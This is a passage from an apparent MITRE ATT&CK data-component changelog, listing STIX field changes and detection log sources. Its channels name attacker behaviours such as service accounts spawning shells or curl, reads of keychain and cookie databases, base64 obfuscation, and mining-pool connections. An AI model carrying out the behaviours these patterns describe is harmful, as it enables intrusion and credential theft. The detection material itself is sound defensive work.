'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:20.168000+00:00 | 2025-10-21 15:14:34.703000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock|NSDistributedLock|FileHandle.*lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_*'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:31.145000+00:00 | 2025-10-21 15:14:36.999000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0096', 'external_id': 'DC0096'}] | |
| x_mitre_log_sources | [{'name': 'Domain Name', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:31.390000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0019', 'external_id': 'DC0019'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'CreatePod: Programmatic creation of new pod resources using container images not seen before in the environment'}, {'name': 'kubernetes:audit', 'channel': 'create'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:17:38.124000+00:00 | 2025-10-21 15:14:37.749000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0037', 'external_id': 'DC0037'}] | |
| x_mitre_log_sources | [{'name': 'kubernetes:apiserver', 'channel': 'list or get requests against pods, deployments, or nodes'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:17:31.773000+00:00 | 2025-10-21 15:14:40.544000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0030', 'external_id': 'DC0030'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:17:41.365000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0035', 'external_id': 'DC0035'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=10'}, {'name': 'linux:osquery', 'channel': 'Process State'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace attach'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace or task_for_pid'}, {'name': 'macos:osquery', 'channel': 'process_open'}, {'name': 'auditd:SYSCALL', 'channel': 'High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes'}, {'name': 'Apple TCC Logs', 'channel': 'Microphone Access Events'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=10, 7'}, {'name': 'linux:syslog', 'channel': 'syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=25'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Mach port registration or access attempts between unrelated processes'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.security, library=libsystem_kernel.dylib'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace syscall or access to /proc/*/mem'}, {'name': 'macos:unifiedlog', 'channel': 'vm_read, task_for_pid, or file open to cookie databases'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'ACCESS'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, fork, mmap, ptrace'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace or process_vm_readv'}, {'name': 'macos:osquery', 'channel': 'unexpected memory inspection'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:47.199000+00:00 | 2025-10-21 15:14:35.539000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/*'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail.* exec.*'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/*.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(… SO_ATTACH_FILTER|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf*" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 